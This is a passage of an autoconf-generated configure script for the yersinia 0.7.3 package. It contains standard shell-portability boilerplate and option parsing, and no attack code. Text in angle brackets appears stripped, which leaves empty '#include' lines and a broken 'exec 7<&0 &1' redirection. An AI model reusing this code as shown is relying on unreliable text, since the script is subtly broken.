it. ## -------------------- ## ## M4sh Initialization. ## ## -------------------- ## # Be more Bourne compatible DUALCASE=1; export DUALCASE # for MKS sh if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' setopt NO_GLOB_SUBST else case `(set -o) 2>/dev/null` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi as_nl=' ' export as_nl # Printing a long string crashes Solaris 7 /usr/bin/printf. as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo # Prefer a ksh shell builtin over an external printf program on Solaris, # but without wasting forks for bash or zsh. if test -z "$BASH_VERSION$ZSH_VERSION" \ && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='print -r --' as_echo_n='print -rn --' elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='printf %s\n' as_echo_n='printf %s' else if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' as_echo_n='/usr/ucb/echo -n' else as_echo_body='eval expr "X$1" : "X\\(.*\\)"' as_echo_n_body='eval arg=$1; case $arg in #( *"$as_nl"*) expr "X$arg" : "X\\(.*\\)$as_nl"; arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; esac; expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" ' export as_echo_n_body as_echo_n='sh -c $as_echo_n_body as_echo' fi export as_echo_body as_echo='sh -c $as_echo_body as_echo' fi # The user is always right. if test "${PATH_SEPARATOR+set}" != set; then PATH_SEPARATOR=: (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || PATH_SEPARATOR=';' } fi # IFS # We need space, tab and new line, in precisely that order. Quoting is # there to prevent editors from complaining about space-tab. # (If _AS_PATH_WALK were called with IFS unset, it would disable word # splitting by setting IFS to empty value.) IFS=" "" $as_nl" # Find who we are. Look in the path if we contain no directory separator. as_myself= case $0 in #(( *[\\/]* ) as_myself=$0 ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break done IFS=$as_save_IFS ;; esac # We did not find ourselves, most probably we were run as `sh COMMAND' # in which case we are not to be found in the path. if test "x$as_myself" = x; then as_myself=$0 fi if test ! -f "$as_myself"; then $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 exit 1 fi # Unset variables that we do not need and which cause bugs (e.g. in # pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" # suppresses any "Segmentation fault" message there. '((' could # trigger a bug in pdksh 5.2.14. for as_var in BASH_ENV ENV MAIL MAILPATH do eval test x\${$as_var+set} = xset \ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : done PS1='$ ' PS2='> ' PS4='+ ' # NLS nuisances. LC_ALL=C export LC_ALL LANGUAGE=C export LANGUAGE # CDPATH. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH if test "x$CONFIG_SHELL" = x; then as_bourne_compatible="if test -n \"\${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on \${1+\"\$@\"}, which # is contrary to our usage. Disable this feature. alias -g '\${1+\"\$@\"}'='\"\$@\"' setopt NO_GLOB_SUBST else case \`(set -o) 2>/dev/null\` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi " as_required="as_fn_return () { (exit \$1); } as_fn_success () { as_fn_return 0; } as_fn_failure () { as_fn_return 1; } as_fn_ret_success () { return 0; } as_fn_ret_failure () { return 1; } exitcode=0 as_fn_success || { exitcode=1; echo as_fn_success failed.; } as_fn_failure && { exitcode=1; echo as_fn_failure succeeded.; } as_fn_ret_success || { exitcode=1; echo as_fn_ret_success failed.; } as_fn_ret_failure && { exitcode=1; echo as_fn_ret_failure succeeded.; } if ( set x; as_fn_ret_success y && test x = \"\$1\" ); then : else exitcode=1; echo positional parameters were not saved. fi test x\$exitcode = x0 || exit 1" as_suggested=" as_lineno_1=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_1a=\$LINENO as_lineno_2=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_2a=\$LINENO eval 'test \"x\$as_lineno_1'\$as_run'\" != \"x\$as_lineno_2'\$as_run'\" && test \"x\`expr \$as_lineno_1'\$as_run' + 1\`\" = \"x\$as_lineno_2'\$as_run'\"' || exit 1 test \$(( 1 + 1 )) = 2 || exit 1" if (eval "$as_required") 2>/dev/null; then : as_have_required=yes else as_have_required=no fi if test x$as_have_required = xyes && (eval "$as_suggested") 2>/dev/null; then : else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR as_found=false for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. as_found=: case $as_dir in #( /*) for as_base in sh bash ksh sh5; do # Try only shells that exist, to save several forks. as_shell=$as_dir/$as_base if { test -f "$as_shell" || test -f "$as_shell.exe"; } && { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$as_shell"; } 2>/dev/null; then : CONFIG_SHELL=$as_shell as_have_required=yes if { $as_echo "$as_bourne_compatible""$as_suggested" | as_run=a "$as_shell"; } 2>/dev/null; then : break 2 fi fi done;; esac as_found=false done $as_found || { if { test -f "$SHELL" || test -f "$SHELL.exe"; } && { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$SHELL"; } 2>/dev/null; then : CONFIG_SHELL=$SHELL as_have_required=yes fi; } IFS=$as_save_IFS if test "x$CONFIG_SHELL" != x; then : # We cannot yet assume a decent shell, so we have to provide a # neutralization value for shells without unset; and this also # works around shells that cannot unset nonexistent variables. # Preserve -v and -x to the replacement shell. BASH_ENV=/dev/null ENV=/dev/null (unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV export CONFIG_SHELL case $- in # (((( *v*x* | *x*v* ) as_opts=-vx ;; *v* ) as_opts=-v ;; *x* ) as_opts=-x ;; * ) as_opts= ;; esac exec "$CONFIG_SHELL" $as_opts "$as_myself" ${1+"$@"} fi if test x$as_have_required = xno; then : $as_echo "$0: This script requires a shell more modern than all" $as_echo "$0: the shells that I found on your system." if test x${ZSH_VERSION+set} = xset ; then $as_echo "$0: In particular, zsh $ZSH_VERSION has bugs and should" $as_echo "$0: be upgraded to zsh 4.3.4 or later." else $as_echo "$0: Please tell bug-autoconf@gnu.org and $0: yersinia@yersinia.net about your system, including any $0: error possibly output before this message. Then install $0: a modern shell, or manually run the script under such a $0: shell if you do have one." fi exit 1 fi fi fi SHELL=${CONFIG_SHELL-/bin/sh} export SHELL # Unset more variables known to interfere with behavior of common tools. CLICOLOR_FORCE= GREP_OPTIONS= unset CLICOLOR_FORCE GREP_OPTIONS ## --------------------- ## ## M4sh Shell Functions. ## ## --------------------- ## # as_fn_unset VAR # --------------- # Portably unset VAR. as_fn_unset () { { eval $1=; unset $1;} } as_unset=as_fn_unset # as_fn_set_status STATUS # ----------------------- # Set $? to STATUS, without forking. as_fn_set_status () { return $1 } # as_fn_set_status # as_fn_exit STATUS # ----------------- # Exit the shell with STATUS, even in a "trap 0" or "set -e" context. as_fn_exit () { set +e as_fn_set_status $1 exit $1 } # as_fn_exit # as_fn_mkdir_p # ------------- # Create "$as_dir" as a directory, including parents if necessary. as_fn_mkdir_p () { case $as_dir in #( -*) as_dir=./$as_dir;; esac test -d "$as_dir" || eval $as_mkdir_p || { as_dirs= while :; do case $as_dir in #( *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( *) as_qdir=$as_dir;; esac as_dirs="'$as_qdir' $as_dirs" as_dir=`$as_dirname -- "$as_dir" || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` test -d "$as_dir" && break done test -z "$as_dirs" || eval "mkdir $as_dirs" } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" } # as_fn_mkdir_p # as_fn_append VAR VALUE # ---------------------- # Append the text in VALUE to the end of the definition contained in VAR. Take # advantage of any shell optimizations that allow amortized linear growth over # repeated appends, instead of the typical quadratic growth present in naive # implementations. if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : eval 'as_fn_append () { eval $1+=\$2 }' else as_fn_append () { eval $1=\$$1\$2 } fi # as_fn_append # as_fn_arith ARG... # ------------------ # Perform arithmetic evaluation on the ARGs, and store the result in the # global $as_val. Take advantage of shells that can avoid forks. The arguments # must be portable across $(()) and expr. if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : eval 'as_fn_arith () { as_val=$(( $* )) }' else as_fn_arith () { as_val=`expr "$@" || test $? -eq 1` } fi # as_fn_arith # as_fn_error STATUS ERROR [LINENO LOG_FD] # ---------------------------------------- # Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are # provided, also output the error to LOG_FD, referencing LINENO. Then exit the # script with STATUS, using 1 if that was 0. as_fn_error () { as_status=$1; test $as_status -eq 0 && as_status=1 if test "$4"; then as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 fi $as_echo "$as_me: error: $2" >&2 as_fn_exit $as_status } # as_fn_error if expr a : '\(a\)' >/dev/null 2>&1 && test "X`expr 00001 : '.*\(...\)'`" = X001; then as_expr=expr else as_expr=false fi if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then as_basename=basename else as_basename=false fi if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then as_dirname=dirname else as_dirname=false fi as_me=`$as_basename -- "$0" || $as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)' \| . 2>/dev/null || $as_echo X/"$0" | sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/ q } /^X\/\(\/\/\)$/{ s//\1/ q } /^X\/\(\/\).*/{ s//\1/ q } s/.*/./; q'` # Avoid depending upon Character Ranges. as_cr_letters='abcdefghijklmnopqrstuvwxyz' as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' as_cr_Letters=$as_cr_letters$as_cr_LETTERS as_cr_digits='0123456789' as_cr_alnum=$as_cr_Letters$as_cr_digits as_lineno_1=$LINENO as_lineno_1a=$LINENO as_lineno_2=$LINENO as_lineno_2a=$LINENO eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" && test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || { # Blame Lee E. McMahon (1931-1989) for sed's syntax. :-) sed -n ' p /[$]LINENO/= ' <$as_myself | sed ' s/[$]LINENO.*/&-/ t lineno b :lineno N :loop s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ t loop s/-\n.*// ' >$as_me.lineno && chmod +x "$as_me.lineno" || { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; } # Don't try to exec as it changes $[0], causing all sort of problems # (the dirname of $[0] is not the place where we might find the # original and so on. Autoconf is especially sensitive to this). . "./$as_me.lineno" # Exit status is that of the last command. exit } ECHO_C= ECHO_N= ECHO_T= case `echo -n x` in #((((( -n*) case `echo 'xy\c'` in *c*) ECHO_T=' ';; # ECHO_T is single tab character. xy) ECHO_C='\c';; *) echo `echo ksh88 bug on AIX 6.1` > /dev/null ECHO_T=' ';; esac;; *) ECHO_N='-n';; esac rm -f conf$$ conf$$.exe conf$$.file if test -d conf$$.dir; then rm -f conf$$.dir/conf$$.file else rm -f conf$$.dir mkdir conf$$.dir 2>/dev/null fi if (echo >conf$$.file) 2>/dev/null; then if ln -s conf$$.file conf$$ 2>/dev/null; then as_ln_s='ln -s' # ... but there are two gotchas: # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. # In both cases, we have to default to `cp -p'. ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || as_ln_s='cp -p' elif ln conf$$.file conf$$ 2>/dev/null; then as_ln_s=ln else as_ln_s='cp -p' fi else as_ln_s='cp -p' fi rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file rmdir conf$$.dir 2>/dev/null if mkdir -p . 2>/dev/null; then as_mkdir_p='mkdir -p "$as_dir"' else test -d ./-p && rmdir ./-p as_mkdir_p=false fi if test -x / >/dev/null 2>&1; then as_test_x='test -x' else if ls -dL / >/dev/null 2>&1; then as_ls_L_option=L else as_ls_L_option= fi as_test_x=' eval sh -c '\'' if test -d "$1"; then test -d "$1/."; else case $1 in #( -*)set "./$1";; esac; case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in #(( ???[sx]*):;;*)false;;esac;fi '\'' sh ' fi as_executable_p=$as_test_x # Sed expression to map a string onto a valid CPP name. as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" # Sed expression to map a string onto a valid variable name. as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" test -n "$DJDIR" || exec 7<&0 &1 # Name of the host. # hostname on some systems (SVR3.2, old GNU/Linux) returns a bogus exit status, # so uname gets run too. ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` # # Initializations. # ac_default_prefix=/usr/local ac_clean_files= ac_config_libobj_dir=. LIBOBJS= cross_compiling=no subdirs= MFLAGS= MAKEFLAGS= # Identity of this package. PACKAGE_NAME='yersinia' PACKAGE_TARNAME='yersinia' PACKAGE_VERSION='0.7.3' PACKAGE_STRING='yersinia 0.7.3' PACKAGE_BUGREPORT='yersinia@yersinia.net' PACKAGE_URL='' ac_unique_file="src/yersinia.c" # Factoring default headers for most tests. ac_includes_default="\ #include #ifdef HAVE_SYS_TYPES_H # include #endif #ifdef HAVE_SYS_STAT_H # include #endif #ifdef STDC_HEADERS # include # include #else # ifdef HAVE_STDLIB_H # include # endif #endif #ifdef HAVE_STRING_H # if !defined STDC_HEADERS && defined HAVE_MEMORY_H # include # endif # include #endif #ifdef HAVE_STRINGS_H # include #endif #ifdef HAVE_INTTYPES_H # include #endif #ifdef HAVE_STDINT_H # include #endif #ifdef HAVE_UNISTD_H # include #endif" ac_subst_vars='am__EXEEXT_FALSE am__EXEEXT_TRUE LTLIBOBJS LIBOBJS MKINSTALLDIRS POSUB POFILES PO_IN_DATADIR_FALSE PO_IN_DATADIR_TRUE INTLLIBS INSTOBJEXT GMOFILES DATADIRNAME CATOBJEXT CATALOGS XGETTEXT GMSGFMT MSGFMT_OPTS MSGFMT USE_NLS GETTEXT_PACKAGE PACKAGE_LIBS PACKAGE_CFLAGS PKG_CONFIG_LIBDIR PKG_CONFIG_PATH PKG_CONFIG HAVE_GTK_FALSE HAVE_GTK_TRUE HAS_CURSES_FALSE HAS_CURSES_TRUE CURSES_INCLUDEDIR CURSES_LIBS HAVE_REMOTE_ADMIN_FALSE HAVE_REMOTE_ADMIN_TRUE LIBNET_CONFIG LIBNET_LINK LIBNET_INCLUDE PCAP_LINK PCAP_INCLUDE MAKEDEPEND EGREP GREP CPP am__fastdepCC_FALSE am__fastdepCC_TRUE CCDEPMODE am__nodep AMDEPBACKSLASH AMDEP_FALSE AMDEP_TRUE am__quote am__include DEPDIR OBJEXT EXEEXT ac_ct_CC CPPFLAGS LDFLAGS CFLAGS CC am__untar am__tar AMTAR am__leading_dot SET_MAKE AWK mkdir_p MKDIR_P INSTALL_STRIP_PROGRAM STRIP install_sh MAKEINFO AUTOHEADER AUTOMAKE AUTOCONF ACLOCAL VERSION PACKAGE CYGPATH_W am__isrc INSTALL_DATA INSTALL_SCRIPT INSTALL_PROGRAM target_os target_vendor target_cpu target host_os host_vendor host_cpu host build_os build_vendor build_cpu build target_alias host_alias build_alias LIBS ECHO_T ECHO_N ECHO_C DEFS mandir localedir libdir psdir pdfdir dvidir htmldir infodir docdir oldincludedir includedir localstatedir sharedstatedir sysconfdir datadir datarootdir libexecdir sbindir bindir program_transform_name prefix exec_prefix PACKAGE_URL PACKAGE_BUGREPORT PACKAGE_STRING PACKAGE_VERSION PACKAGE_TARNAME PACKAGE_NAME PATH_SEPARATOR SHELL' ac_subst_files='' ac_user_opts=' enable_option_checking enable_dependency_tracking with_pcap_includes with_libnet_includes enable_admin with_sco with_sunos_curses with_osf1_curses with_vcurses with_ncurses enable_gtk ' ac_precious_vars='build_alias host_alias target_alias CC CFLAGS LDFLAGS LIBS CPPFLAGS CPP PKG_CONFIG PKG_CONFIG_PATH PKG_CONFIG_LIBDIR PACKAGE_CFLAGS PACKAGE_LIBS' # Initialize some variables set by options. ac_init_help= ac_init_version=false ac_unrecognized_opts= ac_unrecognized_sep= # The variables have the same names as the options, with # dashes changed to underlines. cache_file=/dev/null exec_prefix=NONE no_create= no_recursion= prefix=NONE program_prefix=NONE program_suffix=NONE program_transform_name=s,x,x, silent= site= srcdir= verbose= x_includes=NONE x_libraries=NONE # Installation directory options. # These are left unexpanded so users can "make install exec_prefix=/foo" # and all the variables that are supposed to be based on exec_prefix # by default will actually change. # Use braces instead of parens because sh, perl, etc. also accept them. # (The list follows the same order as the GNU Coding Standards.) bindir='${exec_prefix}/bin' sbindir='${exec_prefix}/sbin' libexecdir='${exec_prefix}/libexec' datarootdir='${prefix}/share' datadir='${datarootdir}' sysconfdir='${prefix}/etc' sharedstatedir='${prefix}/com' localstatedir='${prefix}/var' includedir='${prefix}/include' oldincludedir='/usr/include' docdir='${datarootdir}/doc/${PACKAGE_TARNAME}' infodir='${datarootdir}/info' htmldir='${docdir}' dvidir='${docdir}' pdfdir='${docdir}' psdir='${docdir}' libdir='${exec_prefix}/lib' localedir='${datarootdir}/locale' mandir='${datarootdir}/man' ac_prev= ac_dashdash= for ac_option do # If the previous option needs an argument, assign it. if test -n "$ac_prev"; then eval $ac_prev=\$ac_option ac_prev= continue fi case $ac_option in *=?*) ac_optarg=`expr "X$ac_option" : '[^=]*=\(.*\)'` ;; *=) ac_optarg= ;; *) ac_optarg=yes ;; esac # Accept the important Cygnus configure options, so we can diagnose typos. case $ac_dashdash$ac_option in --) ac_dashdash=yes ;; -bindir | --bindir | --bindi | --bind | --bin | --bi) ac_prev=bindir ;; -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) bindir=$ac_optarg ;; -build | --build | --buil | --bui | --bu) ac_prev=build_alias ;; -build=* | --build=* | --buil=* | --bui=* | --bu=*) build_alias=$ac_optarg ;; -cache-file | --cache-file | --cache-fil | --cache-fi \ | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) ac_prev=cache_file ;; -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) cache_file=$ac_optarg ;; --config-cache | -C) cache_file=config.cache ;; -datadir | --datadir | --datadi | --datad) ac_prev=datadir ;; -datadir=* | --datadir=* | --datadi=* | --datad=*) datadir=$ac_optarg ;; -datarootdir | --datarootdir | --datarootdi | --datarootd | --dataroot \ | --dataroo | --dataro | --datar) ac_prev=datarootdir ;; -datarootdir=* | --datarootdir=* | --datarootdi=* | --datarootd=* \ | --dataroot=* | --dataroo=* | --dataro=* | --datar=*) datarootdir=$ac_optarg ;; -disable-* | --disable-*) ac_useropt=`expr "x$ac_option" : 'x-*disable-\(.*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error $? "invalid feature name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "enable_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--disable-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval enable_$ac_useropt=no ;; -docdir | --docdir | --docdi | --doc | --do) ac_prev=docdir ;; -docdir=* | --docdir=* | --docdi=* | --doc=* | --do=*) docdir=$ac_optarg ;; -dvidir | --dvidir | --dvidi | --dvid | --dvi | --dv) ac_prev=dvidir ;; -dvidir=* | --dvidir=* | --dvidi=* | --dvid=* | --dvi=* | --dv=*) dvidir=$ac_optarg ;; -enable-* | --enable-*) ac_useropt=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error $? "invalid feature name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "enable_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--enable-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval enable_$ac_useropt=\$ac_optarg ;; -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ | --exec | --exe | --ex) ac_prev=exec_prefix ;; -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ | --exec=* | --exe=* | --ex=*) exec_prefix=$ac_optarg ;; -gas | --gas | --ga | --g) # Obsolete; use --with-gas. with_gas=yes ;; -help | --help | --hel | --he | -h) ac_init_help=long ;; -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) ac_init_help=recursive ;; -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) ac_init_help=short ;; -host | --host | --hos | --ho) ac_prev=host_alias ;; -host=* | --host=* | --hos=* | --ho=*) host_alias=$ac_optarg ;; -htmldir | --htmldir | --htmldi | --htmld | --html | --htm | --ht) ac_prev=htmldir ;; -htmldir=* | --htmldir=* | --htmldi=* | --htmld=* | --html=* | --htm=* \ | --ht=*) htmldir=$ac_optarg ;; -includedir | --includedir | --includedi | --included | --include \ | --includ | --inclu | --incl | --inc) ac_prev=includedir ;; -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ | --includ=* | --inclu=* | --incl=* | --inc=*) includedir=$ac_optarg ;; -infodir | --infodir | --infodi | --infod | --info | --inf) ac_prev=infodir ;; -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) infodir=$ac_optarg ;; -libdir | --libdir | --libdi | --libd) ac_prev=libdir ;; -libdir=* | --libdir=* | --libdi=* | --libd=*) libdir=$ac_optarg ;; -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ | --libexe | --libex | --libe) ac_prev=libexecdir ;; -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ | --libexe=* | --libex=* | --libe=*) libexecdir=$ac_optarg ;; -localedir | --localedir | --localedi | --localed | --locale) ac_prev=localedir ;; -localedir=* | --localedir=* | --localedi=* | --localed=* | --locale=*) localedir=$ac_optarg ;; -localstatedir | --localstatedir | --localstatedi | --localstated \ | --localstate | --localstat | --localsta | --localst | --locals) ac_prev=localstatedir ;; -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ | --localstate=* | --localstat=* | --localsta=* | --localst=* | --locals=*) localstatedir=$ac_optarg ;; -mandir | --mandir | --mandi | --mand | --man | --ma | --m) ac_prev=mandir ;; -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) mandir=$ac_optarg ;; -nfp | --nfp | --nf) # Obsolete; use --without-fp. with_fp=no ;; -no-create | --no-create | --no-creat | --no-crea | --no-cre \ | --no-cr | --no-c | -n) no_create=yes ;; -no-recursion | --no-recursion | --no-recursio | --no-recursi \ | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) no_recursion=yes ;; -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ | --oldin | --oldi | --old | --ol | --o) ac_prev=oldincludedir ;; -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) oldincludedir=$ac_optarg ;; -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) ac_prev=prefix ;; -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) prefix=$ac_optarg ;; -program-prefix | --program-prefix | --program-prefi | --program-pref \ | --program-pre | --program-pr | --program-p) ac_prev=program_prefix ;; -program-prefix=* | --program-prefix=* | --program-prefi=* \ | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) program_prefix=$ac_optarg ;; -program-suffix | --program-suffix | --program-suffi | --program-suff \ | --program-suf | --program-su | --program-s) ac_prev=program_suffix ;; -program-suffix=* | --program-suffix=* | --program-suffi=* \ | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) program_suffix=$ac_optarg ;; -program-transform-name | --program-transform-name \ | --program-transform-nam | --program-transform-na \ | --program-transform-n | --program-transform- \ | --program-transform | --program-transfor \ | --program-transfo | --program-transf \ | --program-trans | --program-tran \ | --progr-tra | --program-tr | --program-t) ac_prev=program_transform_name ;; -program-transform-name=* | --program-transform-name=* \ | --program-transform-nam=* | --program-transform-na=* \ | --program-transform-n=* | --program-transform-=* \ | --program-transform=* | --program-transfor=* \ | --program-transfo=* | --program-transf=* \ | --program-trans=* | --program-tran=* \ | --progr-tra=* | --program-tr=* | --program-t=*) program_transform_name=$ac_optarg ;; -pdfdir | --pdfdir | --pdfdi | --pdfd | --pdf | --pd) ac_prev=pdfdir ;; -pdfdir=* | --pdfdir=* | --pdfdi=* | --pdfd=* | --pdf=* | --pd=*) pdfdir=$ac_optarg ;; -psdir | --psdir | --psdi | --psd | --ps) ac_prev=psdir ;; -psdir=* | --psdir=* | --psdi=* | --psd=* | --ps=*) psdir=$ac_optarg ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil) silent=yes ;; -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) ac_prev=sbindir ;; -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ | --sbi=* | --sb=*) sbindir=$ac_optarg ;; -sharedstatedir | --sharedstatedir | --sharedstatedi \ | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ | --sharedst | --shareds | --shared | --share | --shar \ | --sha | --sh) ac_prev=sharedstatedir ;; -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ | --sha=* | --sh=*) sharedstatedir=$ac_optarg ;; -site | --site | --sit) ac_prev=site ;; -site=* | --site=* | --sit=*) site=$ac_optarg ;; -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) ac_prev=srcdir ;; -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) srcdir=$ac_optarg ;; -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ | --syscon | --sysco | --sysc | --sys | --sy) ac_prev=sysconfdir ;; -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) sysconfdir=$ac_optarg ;; -target | --target | --targe | --targ | --tar | --ta | --t) ac_prev=target_alias ;; -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) target_alias=$ac_optarg ;; -v | -verbose | --verbose | --verbos | --verbo | --verb) verbose=yes ;; -version | --version | --versio | --versi | --vers | -V) ac_init_version=: ;; -with-* | --with-*) ac_useropt=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error $? "invalid package name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "with_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--with-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval with_$ac_useropt=\$ac_optarg ;; -without-* | --without-*) ac_useropt=`expr "x$ac_option" : 'x-*without-\(.*\)'` # Reject names that are not valid shell variable names. expr 